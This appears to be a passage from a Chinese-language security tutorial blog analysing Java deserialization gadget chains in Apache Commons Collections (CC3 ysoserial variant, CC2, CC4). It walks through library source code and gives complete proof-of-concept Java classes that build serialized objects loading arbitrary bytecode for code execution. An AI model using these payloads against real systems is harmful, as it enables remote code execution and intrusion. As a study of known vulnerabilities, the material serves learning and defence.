        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);

        clazzDeclaredConstructor.setAccessible(true);

        Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);

        Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy);

        //serialize(o);

        unerialize("CC6.ser");

    }

执行结果：

CC3-方式2(ysoserial)

ysoserial的代码，会发现CommonsCollections3和上述代码并不同，没有使⽤到InvokerTransformer。原因是因为：2015年初，@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》，以及Java反序列化利⽤⼯具ysoserial，随后引爆了安全界。开发者们⾃然会去找寻⼀种安全的过滤⽅法，于是类似SerialKiller这样的⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器，可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在SerialKiller中就有过滤InvokerTransformer。针对此情况ysoserial的CC3变换InvokerTransformer为InstantiateTransformer同时使用了TrAXFilter

整理一下这后半段的思路：

public synchronized Transformer newTransformer()

    throws TransformerConfigurationException

{

    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,

                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {

        transformer.setURIResolver(_uriResolver);

    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {

        transformer.setSecureProcessing(true);

    }

    return transformer;

}

现在我们需寻找哪个类的方法调用了newTransformer()，Find Usages一下发现在TrAXFilter类的构造方法直接可以调用TemplatesImpl的newTransformer()。

public class TrAXFilter extends XMLFilterImpl {

    private Templates              _templates;

    private TransformerImpl        _transformer;

    private TransformerHandlerImpl _transformerHandler;

    private boolean _useServicesMechanism = true;

    public TrAXFilter(Templates templates)  throws

        TransformerConfigurationException

    {

        _templates = templates;

        _transformer = (TransformerImpl) templates.newTransformer();

        _transformerHandler = new TransformerHandlerImpl(_transformer);

        _useServicesMechanism = _transformer.useServicesMechnism();

    }

但是我们可以注意到TrAXFilter这个类是不能进行序列化的，但是它的类是可以序列化的，同时我们可以在commons-collections中找到这样一个类:InstantiateTransformer，它的transform方法可以实例化一个类

public Object transform(Object input) {

    try {

        if (input instanceof Class == false) {

            throw new FunctorException(

                "InstantiateTransformer: Input object was not an instanceof Class, it was a "

                + (input == null ? "null object" : input.getClass().getName()));

        }

        Constructor con = ((Class) input).getConstructor(iParamTypes);

        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {

        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");

    } catch (InstantiationException ex) {

        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);

    } catch (IllegalAccessException ex) {

        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);

    } catch (InvocationTargetException ex) {

        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);

    }

}

所以我们整体的思路就出来了

ysoserial整体思路：

--ObjectInputStream.readObject()

  --AnnotationInvocationHandler.readObject()

    --Map(Proxy).entrySet()

	  --AnnotationInvocationHandler.invoke()

		--LazyMap.get()

		  --ChainedTransformer.transform()

			--ConstantTransformer.transform()

			--InstantiateTransformer.transform()

    		  --TrAXFilter(Templates templates)

                  --TemplatesImpl.newTransformer()

                    --TemplatesImpl.getTransletInstance()

                      --TemplatesImpl.defineTransletClasses()

                        --TemplateClassLoader.defineClass()

                    --TemplatesImpl.getTransletInstance()

完整的POC：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InstantiateTransformer;

import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.annotation.Target;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.HashMap;

import java.util.Map;

public class CC32 {

    public static void main(String[] args) throws Exception{

        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});

        setFieldValue(templatesImpl, "_name", "name");

        setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(TrAXFilter.class),

                InstantiateTransformer.getInstance(new Class[]{Templates.class}, new TemplatesImpl[]{templatesImpl}),

        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

        hashMap.put("value","123");

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);

        clazzDeclaredConstructor.setAccessible(true);

        Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);

        Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy);

        //serialize(o);

        unerialize("CC32.ser");

    }

运行结果：

Commons-Collections的变动

背景：

在 2015 年底 commons-collections 反序列化利用链被提出时，Apache Commons Collections 有以下两个分支版本：

commons-collections:commons-collections
org.apache.commons:commons-collections4

可⻅，groupId 和 artifactId 都变了。前者是 Commons Collections 老的版本包，当时版本号是3.2.1，后者是官方在 2013 年推出的 4 版本，当时版本号是 4.0。

官方认为旧的 commons-collections 有一些架构和 API 设计上的问题，但修复这些问题，会产生大量不能向前兼容的改动。所以，commons-collections4 不再认为是一个用来替换 commons-collections 的新版本，而是一个新的包，两者的命名空间不冲突，因此可以共存在同一个项目中。

那么，既然 3.2.1 中存在反序列化利用链，那么 4.0 版本是否存在呢?

内部包的改动：

前后变化的比较大，俩个版本的库是能够共存的，放在pom.xml中比较一下

<dependencies>

    <dependency>

        <groupId>commons-collections</groupId>

        <artifactId>commons-collections</artifactId>

        <version>3.2.1</version>

    </dependency>

    <dependency>

        <groupId>org.apache.commons</groupId>

        <artifactId>commons-collections4</artifactId>

        <version>4.0</version>

    </dependency>

</dependencies>

用之前的 CommonsCollections6 利用链做个例子，然后将所有 import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。

PriorityQueue利用链

ysoserial 还为 commons-collections4 准备了两条新的利用链，那就是 CommonsCollections2 和 CommonsCollections4。

commons-collections 这个包之所有能攒出那么多利用链来，除了因为其使用量大，技术上的原因是其中包含了一些可以执行任意方法的 Transformer。所以，在 commons-collections 中找 Gadget 的过程，实际上可以简化为，找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。transform后面的部分就是我们熟悉的命令执行或代码执行。

CC2

利用链分析：

在 CC2 中，用到的两个关键类是：

java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator

PriorityQueue

优先队列(Priority Queue)：java中基于二叉推实现。正常进队，按照优先级出的队列，优先级由comparator来决定。

java.util.PriorityQueue 类重写了 readObject()方法：

private void readObject(java.io.ObjectInputStream s)

    throws java.io.IOException, ClassNotFoundException {

    // Read in size, and any hidden stuff

    s.defaultReadObject();

    // Read in (and discard) array length

    s.readInt();

    queue = new Object[size];

    // Read in all elements.

    for (int i = 0; i < size; i++)

        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the

    // spec has never explained what that might be.

    heapify();

}

org.apache.commons.collections4.comparators.TransformingComparator 中的compare调用 transform() 方法的函数：

public int compare(final I obj1, final I obj2) {

    final O value1 = this.transformer.transform(obj1);

    final O value2 = this.transformer.transform(obj2);

    return this.decorated.compare(value1, value2);

}

接下来看下这个 Gadget 的串联方式： PriorityQueue#readObject() 中调用了 heapify() 方法， heapify() 中调用了 siftDown() ， siftDown() 中调用 siftDownUsingComparator() ， siftDownUsingComparator() 中调用的 comparator.compare() ，于是就连接到上面的 TransformingComparator 了：

private void siftDownUsingComparator(int k, E x) {

    int half = size >>> 1;

    while (k < half) {

        int child = (k << 1) + 1;

        Object c = queue[child];

        int right = child + 1;

        if (right < size &&

            comparator.compare((E) c, (E) queue[right]) > 0)

            c = queue[child = right];

        if (comparator.compare(x, (E) c) <= 0)

            break;

        queue[k] = c;

        k = child;

    }

    queue[k] = x;

}

总结下来就是：

当优先队列(Priority Queue)反序列化的时候调用heapify()方法恢复二叉推的结构，将数组里面的元素按优先级排列。排列的时候会涉及到优先级的比较，这个时候就会调用对应的compare()方法

java.util.PriorityQueue 是一个优先队列(Queue)，基于二叉堆实现，队列中每一个元素有自己的优先级，节点之间按照优先级大小排序成一棵树。
反序列化时调用 heapify() 方法，是为了反序列化后，需要恢复这个结构的顺序。
排序是靠将大的元素下移实现的。siftDown() 是将节点下移的函数，而 comparator.compare() 用来比较两个元素大小。
TransformingComparator 实现了 java.util.Comparator 接口，这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就使用这个接口的 compare() 方法比较树的节点。

CC2这一条利用的是：InvokerTransformer无数组的代码执行。

整体思路：

--PriorityQueue.readObject()

 --PriorityQueue.heapify()

  --PriorityQueue.siftDown()

   --PriorityQueue.siftDownUsingComparator()

    --TransformingComparator.compare()

      --InvokerTransformer.transform()

        --TemplatesImpl.newTransformer()

          --TemplatesImpl.getTransletInstance()

          --TemplatesImpl.defineTransletClasses()

          --TemplateClassLoader.defineClass()

        --TemplatesImpl.getTransletInstance()

完整POC：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.comparators.TransformingComparator;

import org.apache.commons.collections4.functors.ConstantTransformer;

import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.PriorityQueue;

public class CC2 {

    public static void main(String[] args) throws Exception {

        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));

        TemplatesImpl templatesImpl = new TemplatesImpl();

        HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});

        HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");

        HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templatesImpl);

        priorityQueue.add(1);

        Class clazz = TransformingComparator.class;

        Field transformer = clazz.getDeclaredField("transformer");

        transformer.setAccessible(true);

        transformer.set(transformingComparator,invokerTransformer);

        //serialize(priorityQueue);

        unserialize("CC2.ser");

    }

    public static void serialize(Object obj) throws Exception{

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC2.ser"));

        objectOutputStream.writeObject(obj);

        System.out.println("Successful Serialize");

    }

    public static void unserialize(String filename) throws Exception{

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));

        objectInputStream.readObject();

        System.out.println("Successful Unserialize");

    }

}

CC4

版本限制：

jdk版本：jdk7,8没有限制

commons-collections：

<dependency>

    <groupId>org.apache.commons</groupId>

    <artifactId>commons-collections4</artifactId>

    <version>4.0</version>

</dependency>

背景：

在CC2的利用背景下，改进 PriorityQueue 利用链：因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承，导致无法序列化。所以便有了 CC4，CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。

利用链分析：

首先需要明白：如果要getshell：1.命令执行，2.代码执行。CC4的链虽说是引入了新的commons-collections包，但是整体的思路还是没有发生变化，后半部分可以使用命令执行(Runtime类)或者代码执行(Templatelmpl调用链)。在ysoserial中使用的是无InvokerTransformer的代码执行。我按照ysoserial的利用链模式来分析。

byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));

TemplatesImpl templatesImpl = new TemplatesImpl();

HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});

HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");

HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{

    new ConstantTransformer(templatesImpl),

    new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

所以直接对transform方法开始FindUsages，TransformingComparator的compare()方法可以调用chainedTransformer的transform()

public int compare(final I obj1, final I obj2) {

    final O value1 = this.transformer.transform(obj1);

    final O value2 = this.transformer.transform(obj2);

    return this.decorated.compare(value1, value2);

}

对compare方法进行FindUsages可以找到PriorityQueue类的readObject()方法里调用heapify()而heapify()方法里调用了siftDown()，siftDown()方法里调用了siftDownUsingComparator(k, x),其又可以调用TransformingComparator类的compare方法

private void siftDownUsingComparator(int k, E x) {

    int half = size >>> 1;

    while (k < half) {

        int child = (k << 1) + 1;

        Object c = queue[child];

        int right = child + 1;

        if (right < size &&

            comparator.compare((E) c, (E) queue[right]) > 0)

            c = queue[child = right];

        if (comparator.compare(x, (E) c) <= 0)

            break;

        queue[k] = c;

        k = child;

    }

    queue[k] = x;

}

所以整条利用链就可以这样写：

import com.sun.net.httpserver.Authenticator;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;

import org.apache.commons.collections4.functors.ChainedTransformer;

import org.apache.commons.collections4.functors.ConstantTransformer;

import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.PriorityQueue;

public class CC4 {

    public static void main(String[] args) throws Exception {

        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));

        TemplatesImpl templatesImpl = new TemplatesImpl();

        HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});

        HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");

        HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(templatesImpl),

                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        serialize(priorityQueue);

        unserialize("CC4.ser");

    }

结果就是序列化和反序列化都没有弹出计算器。我们debug一下找错误，既然反序列化是从readObject()开始，我们就从PriorityQueue的readObjct()开始打断点，问题出现在了：

private void heapify() {

    for (int i = (size >>> 1) - 1; i >= 0; i--)

        siftDown(i, (E) queue[i]);

}

我们需要进行priorityQueue.add(1)俩次才可以解决问题，(因为这里涉及到数据结构，但我没有学过，所以这里做个标记)。所以整理后的利用链如下：

public class CC4 {

    public static void main(String[] args) throws Exception {

        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));

        TemplatesImpl templatesImpl = new TemplatesImpl();

        HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});

        HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");

        HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(templatesImpl),

                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(1);

        priorityQueue.add(2);

        //serialize(priorityQueue);

        unserialize("CC4.ser");

    }

结果我们发现序列化和反序列化都可以弹出计算器，跟进priorityQueue.add()发现其最终会调用transform()方法，和前面的CC6一样，我们首先需要将其断开，再add()以后利用反射重新将其连接即可。

利用链思路：

完整POC：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;

import org.apache.commons.collections4.functors.ChainedTransformer;

import org.apache.commons.collections4.functors.ConstantTransformer;

import org.apache.commons.collections4.functors.InstantiateTransformer;

import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.PriorityQueue;

public class CC4 {

    public static void main(String[] args) throws Exception {

        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));

        TemplatesImpl templatesImpl = new TemplatesImpl();

        HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});

        HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");

        HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(TrAXFilter.class),

                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(1);

        priorityQueue.add(2);

        Class clazz = ChainedTransformer.class;

        Field iTransformers = clazz.getDeclaredField("iTransformers");

        iTransformers.setAccessible(true);

        iTransformers.set(chainedTransformer,transformers);

        //serialize(priorityQueue);

        unserialize("CC4.ser");

    }

运行结果：

参考链接

Ysoserial 利用链分析

Java 反序列化漏洞系列-2

ysoserial源代码

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Commons-Collections反序列化

Java反序列化漏洞

Commons Collections

小白可能遇到的问题

白日梦组长的利用链导图

CC1-TransformMap

环境配置

利用链分析

Runtime类反射

setValue参数

CC1-LazyMap

CC6-最好的链

CC3-代码执行

CC3-方式1

CC3-方式2(ysoserial)

Commons-Collections的变动

CC2

CC4

参考链接

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